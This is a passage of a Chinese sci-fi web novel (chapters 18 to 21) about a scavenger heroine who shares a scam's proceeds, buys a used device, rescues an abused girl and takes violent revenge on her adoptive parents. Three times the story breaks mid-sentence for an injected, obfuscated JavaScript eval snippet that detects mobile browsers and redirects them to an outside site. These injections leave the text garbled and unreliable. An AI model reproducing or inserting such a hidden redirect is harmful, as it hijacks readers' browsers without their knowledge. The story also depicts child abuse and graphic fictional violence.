所有了解迪恩酒馆的人都知道,能在卡培星城搞地下机甲赛开设赌局的,只会是塔纳托企业的老板,如今卡培星城的城主霍尔茨。 程涛额头的汗一下子渗出来:“老板知道了?” “老板对这件事很不满意。一个城政企业,用纳税人的钱购买的动力源,居然出现在地下机甲赛赛场上,偏偏你们一群废物,还把这件事闹得沸沸扬扬,你是希望明天全星城的人,都知道政府利用职权便利敛财,偷偷向黑市卖货吗?”克劳恩声音骤然变冷:“这不是打城政府的脸吗?” “我没想到这边的动力源会熄火,对、对不起。”程涛面色苍白:“不过我们已经有了一个替罪羔羊,她是垃圾星开垃圾运输飞船的,只要把这件事都推在她身上,城政府和垃圾分类中心的名誉都不会受损。” 克劳恩沉默不语,半晌才开口:“可是你们让她逃跑了,谁知道她会不会找到某家新闻媒体,掀开你们的老底。” 程涛心惊肉跳:“这样啊,那……那你说怎么办?” 克劳恩将衔尾蛇反应芯放在桌面上:“前几天中转环不是出现过一起爆炸事件吗?你们可以对外宣称,动力源是被那些星盗抢走的。为了不影响垃圾分类中心的正常运行,你不得不托人从其他渠道重新买了一块动力源。呐,就是这一块。” “……”程涛欲哭无泪:“你要我买?” 克劳恩点头:“是你卖出去的,花你的钱买回去,不是很正常吗?老板不想把这件事闹大,这是给你的机会,你不要不识抬举。” 程涛喉结滚动,一咬牙,他命令光脑打开支付系统,向克劳恩转了300万星币。 “不是500万吗?”克劳恩看着光脑到账。 程涛连忙解释:“这块衔尾蛇反应芯进价350万,我只收了奎恩300万星币。宣称500万,是站长想吞掉那个尤珈的飞船,故意提高了价格,和我可没关系。” 克劳恩不置可否,轻轻哼了一声。 “那……那个逃跑的尤珈那边?” 克劳恩想了一下:“她还有用,老板不希望你们动她。” 18. 朋友 克劳恩从垃圾分类中心出来,洛九天和尤珈已经在街边等着了。 “你们胆子真大,就不怕我携款潜逃了吗?”克劳恩扬了扬手腕上的光脑,表示自己已经完成交易。 洛九天诚恳地回答:“挺怕的,所以我们才会在门口等你啊。另外我还拿走了你机甲上的一块芯片,虽然不怎么值钱,但里面的战斗数据应该对你挺重要的嚯。” 克劳恩伸出手:“还我。” 洛九天递出手腕:“分钱。” 三人平分了三百万星币,尤珈问:“他没有起疑心吗?” 克劳恩无所谓地摊手:“当然会起疑心,但他不敢冒这个险,就算知道我在撒谎,他也不敢把事情闹大,说不定他已经看出来了,主动配合我演戏呢。只不过,设备管理处处长,是个来钱的岗位,吐出300万星币,他可没什么损失。” 尤珈笑了一下:“他会有损失的。” “嗯?”克劳恩扭头看她。 尤珈眨了眨眼睛:“我打算放出小道消息,说是程涛想要钱货通吃,所以花钱找人把衔尾蛇反应芯抢了回去……这样一来,奎恩肯定会找他麻烦的。” “……我可没收程涛的钱……好吧我刚才确实收了。”克劳恩发现自己被拐上了贼船,无奈地笑了一声。 在街道口和克劳恩分开,尤珈的光脑传来垃圾分类中心的消息,说是动力源已经找到,尤珈的嫌疑解除,要她继续回去上班。 尤珈冷笑了一声,问洛九天:“九天你要和我一起回去吗?” 洛九天摇头:“我要先去福莱诊所一趟,八点去找你。” “行,对了,你记得买个光脑,不然不方便和你联系。”尤珈挥了挥手,跑进垃圾分类中心。 想到这一百万星币还没捂热就要花出钱,洛九天决定先去福莱诊所还钱。 来到福莱诊所,瓦莱里雅正在给病人做检查,洛九天自己给自己接了一杯水喝。 等病人走了,瓦莱里雅才冲她扬眉:“跟我来。” 洛九天跟着进了后面休息室:“我来还钱的,芯片的钱,还有手术费。” 瓦莱里雅一点都不意外:“垃圾星挣钱这么快的吗?你是一份利息都不想出是吧?” 洛九天嘿嘿一笑:“这不是穷嘛……” 还完钱,瓦莱里雅并没有赶人,反而关上了门。 “昨天你走后,我重新登上公司的内部资料库,发现多了一条浏览痕迹,很可能是要取走脑芯片的人,想通过芯片植入记录找到你。”瓦莱里雅的眼睛沉静如水。 洛九天一怔,后背发凉,还好她动作快,修改了资料数据,不然不知道有多少人来追杀她。 那张脑芯片里到底有什么秘密? “谢谢你告诉我,我会小心的。”洛九天的神情也严肃起来:“你也要小心。” 瓦莱里雅支着下巴:“我已经离职了,也登不上资料库,只要你被抓住的时候,记得别把我供出来,我就没有危险。你现在还钱也好,不然我还得担心你被抓了,没人还钱呢。” 洛九天:“……有道理。” 说完正事,洛九天和瓦莱里雅告辞。时间不早,她还得跑好几个地方买东西。 走到大厅,洛九天又接了一杯水灌下肚。 瓦莱里雅:“你那边这么缺水?” “太热了,我想喝冰镇的,你这里可以加冰,要是有可乐就更好了。”洛九天晃了晃杯里的冰块。她今天出来得急,没带保温杯,真是失算。 瓦莱里雅想了想,从药柜上随手拿了一盒扔给洛九天:“你的身体很差,这是复合营养片,现在肉类和蔬菜贵,很多人都直接吃这东西。” 洛九天抬手接过,有点愣神。太阳从西边出来了,财迷都发福利了? 瓦莱里雅抿了一口咖啡:“愣着做什么,还不走等着付钱。” 洛九天喜滋滋从福莱诊所出来,打开营养片外盒,发现里面是一板一板的奶白色咀嚼片,一共3板,一板10颗,她掰了一颗扔进嘴里,嚼了两下,有一点奶甜的味道。洛九天决定一天吃一片,她把药盒揣好,走进附近一家光脑店。 还完福莱诊所的赊账,洛九天手里还剩93万星币,简直是一笔巨款。 光脑店的售货员看了一眼她手上的休眠手环,笑眯眯迎了上来:“您好,您是才从休眠中苏醒吗?那一定会需要一台光脑。” 洛九天点头,走到透明的玻璃展示台前,埋头看里面摆放的一只只光脑。 有的光脑造型复古,表面模拟指针表盘,还有齿轮在转动。有的则镶嵌了各种宝石,切割面精细,闪着华丽的光。有的采用了木质外壳,有一种天然森系的原始气息,还有各种卡通形象联名款,看得洛九天眼花缭乱。 “这些都是热销款式,您喜欢的话可以试试看哦。”店员跟过来。 洛九天抿了抿嘴唇:“我想买个便宜的。” 店员从柜台最下面,取出来一只旧款光脑:“这是最便宜的,5万星币,您看喜欢吗?” 非常简洁的白色光脑机体,洛九天其实还蛮喜欢的,不过好像不太便宜,而且她好像在哪里见过。 哦对了,二手货交易市场! 她正好要去一趟来着,这么想着洛九天从光脑店退了出来,直奔那个二手货交易市场。 这里的光脑看上去旧旧的,但价格基本上打了骨折。洛九天凭着印象,在一个摊位上找到了白色同款光脑,只要1万星币。 检查过功能,确定机体完好,洛九天开始砍价,她端起一副熟练的架势:“便宜点吧,你这也不好卖,上次来就看到这款了,现在还没卖出去。” 老板抬起眼皮问:“你上次好久看到的哦?” 洛九天愣了一下,干笑两声:“好像是昨天。” “……”老板有点无语:“你好歹说一个月前,我可能就便宜点卖给你了,算了算了,我给你便宜500星币,真不能更便宜了。” 洛九天连忙点头:“谢谢老板。” 光脑已经恢复了出厂设置,数据清零,洛九天拿着光脑,验证虹膜和声音密码锁,登录支付系统账户,将休眠手环里的余额都转移了过来。 做完这些,她找到之前想买的那套工具,花了一千星币将工具箱买了下来,有点沉,但洛九天感觉很踏实。 除此之外,她还在二手货交易市场买了一个军用折叠床,老板十分大方地送了她一件印刷着“美味铜锣烧”的咖啡色T恤,洛九天十分满意。 拎着一堆东西,洛九天赶在八点钟之前,到了垃圾分类中心的停机坪。垃圾星的人都听说了尤珈被扣下又被放出来的消息,一时间等候的乘客都有点忐忑,担心尤珈不会继续开垃圾运输飞船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922626|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 晚上八点,尤珈出现在飞船前面,按照惯例打开闸栓放人进去,大家才松了一口气。 轮到洛九天的时候,她把新买的光脑递了过去。 尤珈扫了一眼:“哇,九天,你买的光脑和我是同款哎。”说着,她欣喜地把自己的光脑递到面前,晃动了一下给洛九天看。 那是一只磨砂红的光脑,比尤珈的发色暗了两个度。 洛九天“嗯”了一声,表示自己看到了,一边催促尤珈收钱一边问:“我待会可以去垃圾舱呆着吗?” 尤珈把她的手腕推了回去:“可以啊,我给你留门,以后我就不收你的搭乘费用了,你直接进去。” “啊?”洛九天有点错愕,没明白尤珈的意图。 尤珈的脸上扬起笑容:“朋友搭乘我的飞船,永远不需要付费。” 洛九天看着她,有一瞬间的失神,感觉就像是有一团火在靠近,她被灼烫了一下。 “那船舱里掏出来的材料,我卖了和你平分。”洛九天说完,不等尤珈拒绝,率先往后面的垃圾舱走去。她走得急,手里的折叠床滑了一下,差点掉地上。 拥有了垃圾舱的“提前捡垃圾权”,洛九天确实淘到不少能卖的材料,一直到垃圾运输飞船停降,她还意犹未尽。 洛九天拖着一堆东西从垃圾舱出来,发现麦西和一个白胡子老头正等在升降梯前面。 白胡子老头比尤珈飞船照片里的那一个,一模一样,只是看起来更老了一些。 她看到尤珈出了驾驶舱,白胡子老头张开双臂,俩人拥抱在一起。 这个叫尤里的老头,眼角泛起泪花:“可急死我啦!你妈在家一直哭,听到你被放出来,才吃了药睡下。” 尤珈拍了拍他的背:“我这不是好端端出来了吗?多亏了我朋友,不然咱们家的飞船就被抵押出去了,你们也只能在矿星见我啦。” 她说着,忽然转身窜到洛九天面前,将她拉到尤里身边介绍起来:“这是尤里,我姥爷,这是我朋友,九天,今天就是她救了我。对了九天,你要不要住到我家去。” “啊?”洛九天连忙摆手:“不用不用,我的集装箱房子挺好的。” “麦西和我提起过你,听说你很会修机甲。”尤里笑眯眯地说。 洛九天不好意思地笑了笑:“没有,就是稍微会一点点,还有很多不懂的地方。” 尤里点头:“你还年轻,还可以学,你见过夏因了吗?” 夏因?这个名字频繁地出现。 是莫莉口中那个开孤儿所的夏因,还是诺斯休眠公司资料库里那个和她同样感染过REST病毒的夏因?还是说,这其实是同一个人? 见洛九天走神,尤里又说:“你可以去见见她。” 记住了尤里的提醒,洛九天拖着一堆东西回家。她忙乎了一阵,把垃圾分门别类收拾好,又吩咐杀手给折叠床和T恤进行清洁杀菌。 等终于躺在床上的时候,洛九天伸了个懒腰,果然还是睡床上舒服啊! 就在这时,外面传来尤珈的敲门声:“九天,你睡了吗?” “……什么事?”洛九天起身下了床开门。 “没事,请你喝可乐。”尤珈晃了晃手里拎着的可乐瓶。 想睡觉的洛九天忍不住咽了一下口水,没办法,这个她真的拒绝不了。 19. 速来 洛九天以为尤珈只是来请自己喝可乐,没想到她还要爬到集装箱顶上聊天看星星。 尤珈:“你现在有光脑了,快点来加个好友,要是垃圾车上有不错的材料,我提前通知你。” 洛九天一听,麻溜开启自己的光脑,亮出ID:nemo,头像是一个灰色小机器人。这是注册账号时,系统默认的用户昵称和头像,她懒得改,直接跳过了填写界面。 加上尤珈,光脑的聊天界面弹出来一条来自[专业运输垃圾]的信息。 搭乘垃圾运输飞船的洛九天感觉有被骂到。 [专业运输垃圾]发来一个表情包——一个火柴人骑着巨蒙鼠,手里拿着一只大蟑螂,表情图下面有一行小字:朋友,给你送土特产。 “……”洛九天没有回复,只是默默将表情包添加入库。 尤珈:“九天,没想到你连战斗机甲都会修,你在哪里学的?” 洛九天猛灌了一口可乐:“以前的寄宿学校,有工程实验课。” “什么地方的寄宿学校,还教修机甲?”尤珈眼睛发亮地望过来:“哦我只上过小学,所以不太了解,以为只有大星的机甲预备学院和军校才能学。” 洛九天其实想说蓝星也挺大的,但她没在夜空找到蓝星的痕迹:“很远的星,现在看不到了。也不是必须学的,拓展课,只是我比较爱琢磨这个。” 尤珈有点兴奋,把可乐罐捏得一直响:“那你可以考军校当机甲师,你肯定可以的……哦不对,你没有卡培星城的学籍,没法参加选拔考试,不过你有一百万星币啊,你可以去大星上机甲预备学院,通过毕业考试也有机会上军校的。” 机甲预备学院,洛九天不是没动过心,她查过资料,这是给野路子学生提供的入学渠道,相当于大学的预科速通学校。不过,由于要将别人6年的学习内容压缩在2年内学完,学习强度很魔鬼,毕业考试的通过率非常低,关键是学费还不便宜。 比起上学,她更想先攒够钱回苍旻基地旧址,调查她母亲的去向。可惜两百多年来,卡培星城一直在移动,离蓝星越来越远,而卡培星城如今的中转环,根本没有直达蓝星的长途运输舰。只有去利亚星这样的大星,搭乘装置了跃迁引擎的飞船,进行空间跃迁,才能快速抵达蓝星。 这是一笔昂贵的开支,洛九天暂时支付不起。可如果不上学,她在垃圾星捡垃圾捡到死,可能都凑不够回去的路费。 “再说吧。”洛九天把齐肩头发抓成了鸡窝:“先走一步看一步。” 尤珈嘿嘿一笑:“我倒是很想去大星看看,我还没看过战列舰呢,尤里说,在战列舰面前,垃圾运输飞船就是个小麻雀……不过,我家和垃圾分类中心签了20年的合同,现在还差两年……” 洛九天用手支着下巴,歪着头看尤珈,感觉她提起战列舰的时候,整个人都充满了生机,将垃圾星颓败的氛围引燃。 “所以尤里退下来了,你才会接着干?” 尤珈点头:“我跟你说……今天那两个评估人员,居然才给飞船估价350万,气死我了……” 可乐早就喝完,尤珈的话却一直没停过,洛九天眼皮开始打架,看着尤珈那张不停开合的嘴,脑子里一片混沌,只有一个念头,她居然是个话唠,她好能说啊! 一直到洛九天眼皮快要合上,尤珈才一拍大腿站起来:“啊,差点忘了,今天那些人不知道动飞船上面的东西没有,我得回去检查一下,我先走了。” 说完,尤珈从集装箱顶上翻了下去,利索地站在地面上朝洛九天挥手:“你快睡吧小矮子,再不睡会长不高的。” 洛九天无语,她哪里矮了!随手操起空可乐瓶,想朝尤珈的方向扔过去,手扬起来又放下,算了,空瓶子也能卖钱。 两天后,洛九天按照约定去迪恩酒馆,帮克劳恩修机甲。她到了垃圾分类中心,才从工作人员的八卦中知道,设备管理处的处长程涛,昨天晚上在家遭人入室抢劫,还被打断了三条肋骨,今天没来上班。 洛九天后仰:“那个叫奎恩的速度好快啊。” 尤珈扬眉,朝洛九天眨了眨眼睛,但很快高兴的神情就消失不见:“你还要去酒馆?奎恩会不会找你麻烦?” 洛九天想了想:“应该不会,我们是合理利用赛场规则,战利品是有赛场担保作证的,而且酒馆禁止参赛者在后台打架斗殴。” 尤珈还是有点不放心:“反正你小心点,我看奎恩并不服气。” …… 来到地下赛场,克劳恩已经等在机甲调整室。 “我还以为事情解决拿到钱,你就不来了。”克劳恩双手反过来扣住后脑勺,慢悠悠走过来。 洛九天看了他一眼,径直走向那台破破烂烂的机甲:“不确定能不能修好,这次机甲破损比上次严重,可能需要换很多部件。” 克劳恩拍了拍机甲腿:“换,我现在有钱。” 洛九天点头:“哦对,我忘了我们刚分完赃。” 克劳恩:“什么分赃,说得多难听,这叫通过战术合作拿到应得奖励。” “……好有道理。” 在机器协作手臂和克劳恩的帮助下,洛九天花了半天时间,把这台机甲拆卸下来,零零散散摆满了整个机甲调整室。 克劳恩看着机甲化整为零,有点慌:“你答应我,你会给我组装回去。” “你放心,既然要修,当然要修彻底,就算修不好,我也能给你装回去。”洛九天想了想又补充:“也不会修不好,就是得花点时间琢磨琢磨。” 克劳恩打开光脑:“你要什么材料和我说,我争取半个月内把材料都搞定。” “行。” 又花了两天时间,洛九天才确定了维修方案。由于各种材料零件的费用加起来要控制在一百万星币以内,洛九天挑挑拣拣费了不少精力,才把材料单发给了克劳恩。 也不知道他从哪里淘的二手货货,有的成色看上去旧些,但品质都很不错。 洛九天基本上每三天去一次地下赛场,早出晚归修机甲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955217|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一天离开地下赛场,洛九天照旧去搭乘尤珈的垃圾运输飞船。 半路,尤珈发来消息:“速来,垃圾车有一台没穿衣服的机器人,你肯定喜欢。” 洛九天回复:“……就到。” 尤珈:“你直接从尾舱进去就是了。” 轻车熟路地跳进垃圾运输飞船的尾舱,洛九天一眼看到了尤珈说的那个机器人。 她把机器人从垃圾车上拖拽下来,靠舱壁坐着,打算等舱门关闭后开灯,再动手捡垃圾。 黑暗中,垃圾车上传来响动,和之前垃圾相互碰撞发出的声音不同,这个声音有点像什么活物在喘气。 洛九天吓了一跳,神经一下子绷紧。 她屏住呼吸,躲在角落一动不动,视线逐渐变得清楚了些,隐隐约约看到一个人从垃圾车上冒出脑袋。 就在这时,尾舱的灯忽视打开,白光将舱内照得大亮。 洛九天和垃圾车上冒出的脑袋四目相对。两个人狗狗祟祟地对视一眼,下一瞬,那个脑袋缩回了垃圾车里,只漏出半个头顶。 洛九天看得很清楚,这是一个绿色头发的小孩,甚至觉得有点眼熟,好像在哪里见过——是在休眠名单里,那个只有12岁的小女孩,和自己同一天苏醒,名字叫做…… 安陈。 她似乎被吓到了。 “你出来吧,我不会伤害你,你叫安陈是不是?我和你是同一天解冻的。”洛九天放缓语气,开始捡垃圾。 垃圾车里的人没动静。 过了一会儿,洛九天直起腰杆,盯着车沿:“呆在垃圾车里面,等下会被倒进垃圾堆里,那个高架台有20米。” 绿色头发的小脑袋再次从堆满垃圾的车内冒出来。 洛九天捡着垃圾,眼睛看过去:“你不是被收养了吗?怎么会跑来这种地方……” 话还没说完,安陈站起身,洛九天的视线落在她的肩膀和手臂上面,顿时喉咙被哽住。 惨败的皮肤青一块紫一块,是锐器击打留下的血瘀,一条醒目的裂开的伤口,从锁骨一直蔓延到衣领里。 她穿着一条无袖连衣裙,下面套着一条长裤,衣服上满是斑驳发黑的污迹和血痂,也许是感受到洛九天并没有恶意,迟疑了片刻,从车上翻身往下爬。 她个子很小,大概只有一米四左右,攀在车沿上,脚够不着地,跳下来的时候差点跌倒,被洛九天一把扶住。 安陈默默抽回手臂,往后退了两步:“可不可以不要告诉别人,我偷偷上的垃圾车,没想到会被运到这里来,不是故意闯进来的。” 洛九天点头:“是谁把你打成这样?” 安陈声音有点颤抖:“他们。” 洛九天已经没心情捡垃圾了:“你是说收养你的人?他们虐待你?” 安陈点头:“嗯,他们是为了休眠余额和赔款才收养我的,我的休眠手环被他们抢走了……” “你打算去垃圾星?”洛九天笑了一下,由衷地说:“在垃圾星也很容易死。” 20. 夺回 安陈浅琥珀色的眼珠子闪动:“总比被打死好。” 洛九天看着安陈,这个小女孩只有十二岁,身高齐自己肩膀,但说话时一点都不像小朋友。 她刚想说话,垃圾运输飞船已经有了下降的趋势,洛九天拖着机器人,招呼安陈往旁边躲。 飞船稳稳停放在高架台上,垃圾车一辆辆往外运送垃圾,片刻过后,尤珈从舱门外溜进来。 “九天,机器人捡到了吗?” 尤珈走近,一眼看到靠里面的安陈,惊讶道:“我去,你还捡了个活人?” 洛九天嘴角扯了一下,她能说不是她捡到的吗? 她把安陈的来历讲了一遍,又指着安陈身上的伤:“她可能需要处理一下伤口,我那里没有药。” “没问题。”尤珈笑嘻嘻看着安陈,微微躬身伸手探向她的头顶:“小妹妹待会跟姐姐走吧,我带你去我家,你今晚可以住我那。” 安陈僵硬地杵着,想躲开已经来不及,惨白的小脸泛红,有了些血色。 尤珈只是轻轻捡走了一片混杂在她头发里的垃圾,就收回了手。 洛九天忽视问:“你还能找到收养你的人住在哪里吗?” 安陈往后瑟缩了一下。 尤珈看了洛九天一眼:“你别怕,她不是要把你送回去。” 洛九天点头:“我得想办法帮你把休眠手环抢回来,不然后面的赔偿款你也拿不到。” 安陈愣愣地看着洛九天,又转过去看向尤珈,一时间竟然有些出神。 “走吧。”尤珈拍了拍手上的灰尘。 尤珈的家离麦西家不远,但更靠后一些,也是活动板房,门前还有一小片花圃,种着怪异的花,大晚上看上去黑糊糊的一坨,散发着难以言说的味道,感觉很有毒。 见安陈对花圃目不转睛的样子,尤珈介绍道:“这是我妈咪种的,有毒的,不要碰,但是味道可以驱散蟑螂,还有那边的蛇神薄荷,是巨蒙鼠的克星。” “就是上次巨蒙鼠暴动的时候,你在飞船上喷洒的那个?”洛九天问。 尤珈:“是,我妈平时没事就把薄荷原液提取出来,好不容易攒的,结果上次喷洒把库存都消耗空了。” 洛九天:“难怪感觉现在你飞船上的薄荷味都变淡了。” 迎面是一个瘦弱的女人开了门,她的红发有些干枯稀薄,颜色也暗淡一些。 “妈咪,今天我带了客人来家里。”尤珈大步走过去。 女人脸上浮现出笑意,牵动了肺腑,引得她咳嗽了一声:“好,尤里在给你们煮面条。” “阿姨好。”洛九天是第一次来尤珈家。 “这些天尤珈总是提起你,我很少出门,还没来得及谢你,我是尤加利·安葵拉,你们可以叫我尤加利。” 她说完,又转头看向安陈:“尤珈刚才和我说过了,你跟我来,我帮你处理一下伤口,不然会化脓的。” 安陈看了洛九天一眼,跟着尤加利进了后面的屋子。 面条和鸡蛋的香味从厨房飘出来,洛九天站在门口和尤里打招呼,疯狂咽口水。 她天天吃压缩饼干营养片,已经吃麻木了,都快忘记自己有味觉。 尤里的手艺很好,简单的鸡蛋青菜面做得色香味俱全。 洛九天嚼嚼嚼:“尤里爷爷,你从哪里搞来的蔬菜?” 卡培星城的蔬菜肉类很贵,垃圾星的人很少买来吃,这里土壤重金属超标,也无法种植蔬菜,她呆了这么多天,就没见过卖菜的。 “每个月1号和15号,交易街会有人卖菜,是一个叫季莲的老板,到时候你去了,看一眼准能认出来,只有他一家卖菜。” 洛九天默默记在心里,并决定继续吃营养片,这种独家菜,肯定不便宜。 安陈很快处理完伤口,从里屋出来,她锁骨处的伤口贴了白色的愈合贴,身上的青紫应该也抹了药,闻起来像个行走的药瓶。 尤珈安慰道:“放心吧,我妈咪的药见效很快的。” 吃过饭,洛九天扛着机器人回了自己的集装箱。 第二天一早,天还没亮,她就出现在尤珈的家门口。 尤珈打了个呵欠:“她昨天半夜才睡着,现在应该没醒,你不会打算今天就要去把她的休眠手环抢回来吧,我今天还有活。” 洛九天:“你干你的活,我去就行。” 尤珈摇头:“不行,我要跟你一起去。无论吵架还是打架,你都没我厉害。” 洛九天往屋里走:“我才不等你。” 尤珈立即掐着嗓子在旁边声情并茂地演绎:“噢,九天,我的朋友,难道我们不是朋友吗,朋友不是应该相互帮助吗?莫非是你有了新朋友就不要我这个旧朋友了吗……” “行行行,等你等你。”洛九天连忙打断她。 尤珈露出得逞的笑。 房门打开,安陈豁然睁开眼睛,见是尤珈和洛九天,才放松了些许。她身上的青紫变淡了不少。 “打你的人住哪里?”洛九天直截了当问地址。 安陈很迟疑:“真的要去?我怕给你们惹来麻烦。” 洛九天:“不麻烦。” 尤珈:“我惹的麻烦多了去了,不差这一件。” “那我要和你们一起去。”安陈站起来。 洛九天愣了一下,扭头指着尤珈:“她不收你船票钱你就去。” 上午八点半,三人出现在卡培星城的电车站台前。 安陈吸了一口气,报出地址:“第五大道香水街3016号楼,五楼525室是住所,他们平时会睡到九点起床,住所是指纹密码锁,有备用数字密码,是8564697#,他们开了一个服装店,那个男人是服装设计师,女的负责打理,在一楼0102室,店里有摄像头,摄像数据会上传备份进那个男人的光脑,他们抢了我的光脑应该会立即把余额转进光脑,我不确定他们花得还剩多……拿不回来就算了,我担心他们报警,到时候会有危险。” 尤珈抬了下右边的眉毛:“现在的小孩脑子这么好使的吗?” 九点前,三人来到香水街3016号楼,525室门前。 安陈很紧张:“我们真的不用商量一下……就是那个流程吗?” 洛九天和尤珈异口同声:“不用。” 说完戴上头套,悄悄用密码锁摸进门。 满地是酒瓶和食物碎屑,一男一女还在床上睡着。 男人被开门声惊醒,他看到前面的洛九天:“你们是什么人?” 尤珈:“你猜。” 也许是因为进来的三个女人身材都不是很魁梧,看上去没什么攻击力,一身肌肉的男人并没有感觉到太多压迫感,一边骂一边吐槽:“你是谁!那个美味、铜锣烧,你的衣品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957415|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太烂了!谁允许你们闯进我的家门?” 穿着美味铜锣烧短袖的洛九天不为所动。 “胸口长毛的臭男人,谁给你的自信,没人告诉你不要随意贬低女人的衣品吗?”尤珈直接冲过去,三两下迅速用电棍将两个人电晕,洛九天找来一卷厚厚的蕾丝花边,将昏死过去的俩人捆绑在餐椅上。 尤珈叉腰:“把他们弄醒。” 洛九天踹了那个男人一脚,见男人没有半点反应,端起桌面上的半杯水,泼在男人脸上:“电得有点熟了,弄不醒。” 尤珈:“那就揍他们。” 一顿拳打脚踢下来,被捆绑的女人在疼痛中醒来。 她一醒,见到眼前的情形,张口就要呼叫光脑智能ai报警。 尤珈手疾眼快用一块碎布将她嘴巴堵住,卸下了俩人的光脑。 洛九天:“休眠手环在哪里?” 女人蓬乱的金发糊在脸上,眼睛里带着恨意还有难以掩饰的恐惧。她摇头,只瞪着洛九天背后的安陈。很显然,她从身材和衣着上认出了安陈。 洛九天叹了口气:“是谁划伤你的?” 安陈指了指男人:“文森特。” 洛九天低声“嗯”了一声,掏出匕首,在文森特的锁骨处划了一道。她下手不知轻重,但动作果断利落。 尤珈挑眉看了洛九天一眼,有些意外,但没说什么。 血瞬间涌出来,名叫文森特的男人被醒。 他睁眼就看见洛九天提着刀对着他,刀尖还在滴血,很快意识到发生了什么:“啊啊救命,不要杀我,你们要什么都可以。” “休眠手环呢?”洛九天问。 文森特哆哆嗦嗦地回答:“在、在抽屉里。” 尤珈瞪了文森特一眼,从抽屉里找到休眠手环,她正要合上抽屉,发现抽屉的深处,居然还躺着一只手环,下面叠放着收养资料。 “咦?”尤珈将资料和另外一只手环一并拿出来,扫了一眼:“你们之前还收养过别的小孩?那小孩呢?” 文森特支支吾吾说不清楚。 尤珈埋头看着两份资料,来自安陈的那一份,领养原因上写着:“因无法生育,领养过一个男童,有领养和抚育经验,男童坠楼后,十分痛心,决定再次领养……坠楼死了?” “是、是坠楼死了……”文森特连忙接话。 “不是坠楼死的,是被他们扔下去摔死的。”安陈抓起文森特的光脑,语速很快地解释:“这里面有他虐待儿童的视频,他以此取乐。被领养的儿童有工作人员定期上门回访,他们会提前治好表面伤,让人看不出问题。那个男孩被打得太严重,一时半会治不好,他们怕被发现,于是制造了坠楼假象。” “操。”尤珈骂了一句脏话,正在动手,就见洛九天已经走过去,操起桌面上的一瓶红酒,直接砸向文森特脑门。 “你真该死啊。” 红色的酒混着血往下流,浸入伤口,痛得文森特哇哇叫。 “闭嘴。”尤珈皱眉:“光脑转账,快点,把吞的钱吐出来。” “花掉…了。” “什么?”尤珈又在他膝盖上踹了一脚。 文森特马上求饶:“还剩一点,我转,马上转。” 看着休眠手环上到账的四万星币,尤珈扭头问洛九天:“你不是说休眠余额有十万么,不够怎么办?” 21. 搭伙 洛九天看向安陈:“你觉得呢?” “要不然用东西抵吧,他们应该没有还钱的机会了。”安陈环视房间一圈,看向文森特的眼神十分冷静,却令文森特打了个哆嗦。 尤珈和洛九天对视一眼,点头:“行,你们在这里找找,我去楼下的服装店看看。” “好,我给你把监控后台关掉,你小心点。”洛九天叮嘱。 等尤珈一走,洛九天和安陈风卷残云一般,将客厅卧室搜刮了一遍,连厨房和卫生间都没放过。她从卧室的柜子里拖出来两个行李箱,一个用来装工具和生活用品,一个用来装食物。可惜在科技高度发达的时代,这些低端工业制品价格都非常低廉,食物也没多少,加起来估计连1万星币都没有。 太亏了。 洛九天抱着一个电炉,盯着冰川蓝外壳的小冰箱看了又看,要是能把冰箱搬走就好了。 就在这时,尤珈那边弹出来通话:“九天,服装店后面的仓库里,停着一个自动驾驶的运货立方车,不是很大,把店里的库存衣服装进去,就只剩一点空间了。” 洛九天:“能装一台小冰箱吗?” “应该……”那边的尤珈停顿了一下:“能吧。” 洛九天当即决定:“好,我把冰箱推下去。” 将要带走的东西打包装好,三人再次回到文森特面前。 尤珈拿出一张纸:“我刚刚算了一下,你们的服装库存按成本算大概值3万星币,她拿的那些乱七八糟的东西,加上个二手冰箱算1万吧,剩下2万就用那个立方车来抵,按个手印签个字,算咱们扯平。” 文森特没想到还能“扯平”,当即签字按了手印。 尤珈将纸递给安陈,朝洛九天点了下头。 洛九天立马会意,从床上抽出床单,捆在文森特坐着的椅子上。 文森特惊恐地看着洛九天:“你们要做什么,不是说扯平了吗?” “唔唔唔——”旁边一直沉默降低存在感的女人,也跟着激烈地挣扎起来。 “咱们是扯平了,可是你们跟那个叫贾斯汀的小男孩没有。”洛九天将俩人捆好,和尤珈一起把他们推到窗边。 床单的另外一头系在床脚上。 “放心,只是让你们体验一下那种感觉,不会摔死的。”尤珈说完,率先将文森特推了出去。 床被重物拉扯,移动了位置,和地板摩擦发出“咯吱”的声音。 女人疯狂摇头拒绝,用眼神恳求尤珈。 尤珈的动作没有犹豫:“之前她被文森特打的时候,你也一定这么沉默看着的哦?” 